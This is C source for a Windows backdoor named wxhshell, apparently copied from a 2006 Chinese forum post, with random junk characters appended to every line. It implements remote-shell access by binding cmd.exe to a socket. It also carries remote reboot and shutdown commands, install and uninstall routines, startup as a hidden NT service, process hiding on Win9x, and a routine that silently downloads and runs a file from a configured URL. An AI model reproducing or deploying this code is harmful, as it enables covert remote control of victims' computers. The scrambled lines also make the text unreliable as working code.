  case '?': { iRwlK5(&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H6fR6Kr4j  
    break; \7l% @  
  } ccCe@1RI  
  // 安装 HW,2x}[  
  case 'i': { (=de#wh2]  
    if(Install()) >wPMJ> 2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >R&=mo~  
    else Vy+UOV&v-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3B+ F'k&#  
    break; ~-dL #;  
    } ;R#:? r;t  
  // 卸载 +|SvJ  
  case 'r': { OI0tgkG  
    if(Uninstall()) h_w_OCC&2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gp?|UMA9 .  
    else Y$L>tFA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BAUo`el5  
    break; IQ9jTkW l  
    } vWM'}(  
  // 显示 wxhshell 所在路径 QqS?-   
  case 'p': { Ku W$  
    char svExeFile[MAX_PATH]; 9F*],#ng  
    strcpy(svExeFile,"\n\r"); W@:a3RJ  
      strcat(svExeFile,ExeFile); 4h[S`;D0Vf  
        send(wsh,svExeFile,strlen(svExeFile),0); -_>g=a@&  
    break; p]7Gj &a  
    } Q<e`0cu|p  
  // 重启 :2n(WXFFI  
  case 'b': { @|2}*_3\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1V@\L|Y  
    if(Boot(REBOOT)) <;?&<qMo,P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [H3~b=  
    else { N$j I&SI?}  
    closesocket(wsh); ~6hG"t]:  
    ExitThread(0); ji &*0GJQ  
    } 9hG+?   
    break; `Al[gG?/!  
    } ,0~/ Cn  
  // 关机 Z_^v#FJ'l  
  case 'd': { >QusXD"L>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ? }k~>. \  
    if(Boot(SHUTDOWN)) -CTsB)=\,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c0H8FF3  
    else { jaoGm$o>"F  
    closesocket(wsh); _n3Jf<Y  
    ExitThread(0); b=#3p  
    } AR}M*sSh  
    break; u%#s_R  
    } W biUz2)  
  // 获取shell ,H3C\.%w\  
  case 's': { n},~2  
    CmdShell(wsh); #0-!P+c[  
    closesocket(wsh); Z {ntF  
    ExitThread(0); tk^1Ga3  
    break; !d1}IU-h  
  } mne^P SI:  
  // 退出 %@! Vx  
  case 'x': { n7vLw7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !U"1ZsO)l  
    CloseIt(wsh); OpwZTy}1}  
    break; Q<L.!%vu}  
    } dt"[5;_P`  
  // 离开 qj71 rj  
  case 'q': { K/~+bq# +  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uP/WRQ{rW>  
    closesocket(wsh); O_f|R1G5z  
    WSACleanup(); sz.(_{5!  
    exit(1); xDBEs*  
    break; lLHHuQpuj  
        } 1K'0ajl1A  
  } y+RT[*bX5o  
  } ,q#^ _/?  
oHmU|  
  // 提示信息 +w/Ax[K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z'GO p?  
} US)wr  
  } 66=6;77  
vi6EI wZG  
  return; O0"i>}g4  
} (ju-r*0  
2 G_*Pqc  
// shell模块句柄 -p>KFHj6  
int CmdShell(SOCKET sock) t8s1d  
{ u+s#Fee I  
STARTUPINFO si; 4j!MjlG$  
ZeroMemory(&si,sizeof(si)); lN+NhPF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -!MDYj+U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8'*z>1ZS5  
PROCESS_INFORMATION ProcessInfo; w;' F;j~  
char cmdline[]="cmd"; p;j$i6YJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3h"; 2  
  return 0; ##u+[ !  
} z$-/yT"M  
_\"P<+!  
// 自身启动模式 1l\O9D +$  
int StartFromService(void) KLq u[{y.'  
{ ;ijJ%/  
typedef struct ~>D;2 S(a  
{ (eJr-xZ/  
  DWORD ExitStatus; N>Y`>5  
  DWORD PebBaseAddress; xbo-~{  
  DWORD AffinityMask; |i?AtOt@f  
  DWORD BasePriority; Njq#@*>[p  
  ULONG UniqueProcessId; ~<v.WP<:  
  ULONG InheritedFromUniqueProcessId; Lj(hk @  
}   PROCESS_BASIC_INFORMATION; B0q![  
FEaf&'G]  
PROCNTQSIP NtQueryInformationProcess; 8+gx?pb  
y%TR2CvT  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l(=#c/f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }jiqUBn%  
l,*Q?q  
  HANDLE             hProcess; B[4y(Im  
  PROCESS_BASIC_INFORMATION pbi; _gC<%6#V`r  
(:+IS W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r-N2*uYtu  
  if(NULL == hInst ) return 0; -#gb {vj  
)r?i^D&4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  TWx<)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tx5_e [  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Rdt8jY6F/  
7U.g4x|<  
  if (!NtQueryInformationProcess) return 0; c_ygwO3.Q  
n#J$=@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N8D'<BUC  
  if(!hProcess) return 0; 3<mv9U(  
/=e[(5X|O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z(\H.P#  
sgX}`JH?z  
  CloseHandle(hProcess); g=U?{<8.m  
(sqS(xIY  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); iU%Gvf^?'5  
if(hProcess==NULL) return 0; lh#GD"^(w&  
?sS'T7r v  
HMODULE hMod; !%s7I ^f*  
char procName[255]; E0O{5YF^T  
unsigned long cbNeeded; e/Q[%y.X  
 V'mpl  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); EL}v>sC  
&PgdCijGq;  
  CloseHandle(hProcess); 0a'@J~v!  
vQ_B2#U:  
if(strstr(procName,"services")) return 1; // 以服务启动 ~ml\|  
*e>:K$r  
  return 0; // 注册表启动 ycE<7W  
} O4E2)N  
.ERO*Tj  
// 主模块 teB {GR  
int StartWxhshell(LPSTR lpCmdLine) ~IqT >  
{ H~G=0_S  
  SOCKET wsl; .86..1  
BOOL val=TRUE; ix#  
  int port=0; S}< <jI-z  
  struct sockaddr_in door; n9J>yud|  
>u/yp[Ky  
  if(wscfg.ws_autoins) Install(); nb|MHtPX  
\)#3S $L~  
port=atoi(lpCmdLine); _ x'StD  
8n:D#`K  
if(port<=0) port=wscfg.ws_port; nWl0R=  
U)PumU+z$u  
  WSADATA data; *FE<'+%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;C{_T:LS  
Z0:BXtW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }I10hy~W  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e=R} 4`  
  door.sin_family = AF_INET; <qy+@t  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e5/_Vga  
  door.sin_port = htons(port); UetmO`qju  
Lg nGqIlx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G`P+J  
closesocket(wsl); ' FK"-)s  
return 1; P>kx{^  
} x('yBf  
' #mC4\<W8  
  if(listen(wsl,2) == INVALID_SOCKET) { 5a~1RL  
closesocket(wsl); 19vD(KC<  
return 1; Zk[#B UA  
} `Qhh{  
  Wxhshell(wsl); p[eRK .$!  
  WSACleanup(); ')aYkO{%sb  
c9[5)  
return 0; OG+$F  
z W _'sC  
} k$>T(smh  
EGt)tI&  
// 以NT服务方式启动 !:8!\gE ^P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )/JC.d#  
{ ?xet:#R'  
DWORD   status = 0; @RP|?Xc{?  
  DWORD   specificError = 0xfffffff; 0d2%CsMS"D  
U&XoT-p$L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x,%&[ 6(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Vh8uE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'zb7:[[7%  
  serviceStatus.dwWin32ExitCode     = 0; 8\9EDgT  
  serviceStatus.dwServiceSpecificExitCode = 0; ;GAYcVB  
  serviceStatus.dwCheckPoint       = 0; k.ZfjX"  
  serviceStatus.dwWaitHint       = 0; {V8Pn2mlo  
p1nA7;B-m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #O WSy'Qnt  
  if (hServiceStatusHandle==0) return; ?zEF?LJoK  
Exr7vL  
status = GetLastError(); >`:+d'Jv0  
  if (status!=NO_ERROR) +*V; f,  
{ FScQS.qF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]`prDw'  
    serviceStatus.dwCheckPoint       = 0; IoA;q)  
    serviceStatus.dwWaitHint       = 0; c0 |p34  
    serviceStatus.dwWin32ExitCode     = status; q1y4B`  
    serviceStatus.dwServiceSpecificExitCode = specificError; iIFQRnpu;3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); sFQ|lU"n  
    return; 4B`Rz1QBy  
  } lNb\^b  
R=PzR;8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /Hmo!"W`  
  serviceStatus.dwCheckPoint       = 0; _LNPB$P  
  serviceStatus.dwWaitHint       = 0; nlW&(cH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {rZ"cUm  
} (Y([^N q  
l i-YkaP  
// 处理NT服务事件,比如:启动、停止 #A; Z4jK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) VaxO L61xE  
{ vXbT E$  
switch(fdwControl) iC-ABOOu{l  
{ F]YKYF'1I  
case SERVICE_CONTROL_STOP: cqx1NWlY  
  serviceStatus.dwWin32ExitCode = 0; fP58$pwu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Oq6n.:8g"  
  serviceStatus.dwCheckPoint   = 0; dU6LB+A  
  serviceStatus.dwWaitHint     = 0; $sZHApJV+  
  { BA,6f?ktXS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e-9unnk  
  } sv"mba.J  
  return; v\,%)Z/  
case SERVICE_CONTROL_PAUSE: )1Nnn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !T#y r)  
  break; f)Q]{cb6  
case SERVICE_CONTROL_CONTINUE: 'V#ew\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gqRTv_;  
  break; 493i*j5r)l  
case SERVICE_CONTROL_INTERROGATE: nM-SDVFM  
  break; ?4e6w  
}; |SKG4_wGe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N+qLxk  
} A(OfG&!  
^G&D4uZ  
// 标准应用程序主函数  /;6@M=6u  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [P=[hj;  
{ ^!o}>ls['  
FJ8@b  
// 获取操作系统版本 x ;,xd  
OsIsNt=GetOsVer(); dqA[|bV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1Dp @n  
@B[Cc`IN"  
  // 从命令行安装 _/~ ,a  
  if(strpbrk(lpCmdLine,"iI")) Install(); zL`uiZl  
V}fKV6 v9  
  // 下载执行文件 7'i#!5  
if(wscfg.ws_downexe) { o Xi}@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]/Yy-T#@  
  WinExec(wscfg.ws_filenam,SW_HIDE); ikN!ut  
} ywynx<Wg  
7[v@*/W@  
if(!OsIsNt) { fTV|? :C{  
// 如果时win9x,隐藏进程并且设置为注册表启动 4UD=Y?zK  
HideProc(); )|y2Q  
StartWxhshell(lpCmdLine); D`:d'ow~KQ  
} "lz[zFnO  
else 1Dya?}3  
  if(StartFromService()) ^qGA!_  
  // 以服务方式启动 =lC;^&D-0/  
  StartServiceCtrlDispatcher(DispatchTable); M*|VLOo=v  
else ;=+Zw1/g  
  // 普通方式启动 )R8%'X;U  
  StartWxhshell(lpCmdLine); KBw9(  
u}}9j&^Xa  
return 0; n5+S"  
}
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只看该作者 1 发表于: 2006-10-10
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